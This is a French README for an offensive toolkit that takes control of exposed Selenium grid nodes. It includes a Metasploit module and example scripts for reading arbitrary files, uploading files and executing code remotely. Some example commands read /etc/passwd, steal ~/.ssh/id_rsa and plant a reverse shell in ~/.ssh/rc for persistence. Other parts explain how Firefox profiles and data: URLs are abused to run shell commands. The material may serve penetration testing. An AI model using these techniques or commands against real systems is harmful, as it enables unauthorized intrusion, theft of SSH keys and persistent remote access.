
Une collection de tests selenium qui pourrait aider à la prise de contrôle d'un nœud selenium.
Ce projet a été déplacé. Pour obtenir la dernière version, faites un pull depuis https://codeberg.org/JonStratton/selenium-node-takeover-kit
Ceci combine certains des exemples ci-dessous pour téléverser des fichiers vers, télécharger des fichiers depuis, et exécuter du code sur un nœud Selenium (via le paramètre « COMMAND_TYPE »). L'exécution de code à distance (RCE) ne fonctionne actuellement que sous Linux. Pour installer, copiez ceci dans « ~/.msf4/modules/exploits/multi/http/ » ou ailleurs.
Cela accède simplement à l'URL « file: » et affiche le contenu de la page.
examples/selenium_node_cat.py -h http://selenium-hub.lan:4444/wd/hub -r /etc/passwdCeci utilise du HTML en ligne pour créer un formulaire intégré avec une entrée de téléversement de fichier. Il envoie ensuite un emplacement de fichier local dans ce formulaire. Le JavaScript de ce formulaire intègre ce fichier encodé en base64 dans la même page. Celui-ci est ensuite lu et décodé par les scripts, puis enregistré dans un fichier local.
examples/selenium_node_download.py -h http://selenium-hub.lan:4444/wd/hub -r ~/.ssh/id_rsa -l ./nodes_rsaComme les scripts de téléchargement depuis un nœud, mais sans prendre la peine de traiter le fichier en JavaScript. Si le fichier n'existe pas, le script, le send_keys() lèvera une exception.
Firefox uniquement. Utilise un profil Firefox (qui n'est qu'un fichier zip encodé en base64 intégré dans un appel à l'API Selenium) pour créer un gestionnaire personnalisé (« application/sh » vers /bin/sh dans ce cas). Il encode ensuite en base64 certaines commandes shell et utilise une « data: » en ligne pour transmettre des commandes associées à « application/sh ». Firefox crée alors un fichier temporaire avec les commandes et l'exécute avec sh.
Firefox uniquement. Utilise un profil Firefox pour définir un répertoire de téléchargement personnalisé et désactiver l'invite « Enregistrer sous ». Ensuite, il accède à du HTML en ligne avec un lien « data: » intégré qui correspond au fichier encodé à téléverser. Ce lien est ensuite cliqué.
examples/selenium_node_upload.py -h http://selenium-hub.lan:4444/wd/hub -r ~/.ssh/rc -l ./reverse_shell.shFirefox uniquement. Utilise un profil Firefox, qui n'est pas décompressé en toute sécurité, pour écrire un fichier dans le système de fichiers du nœud.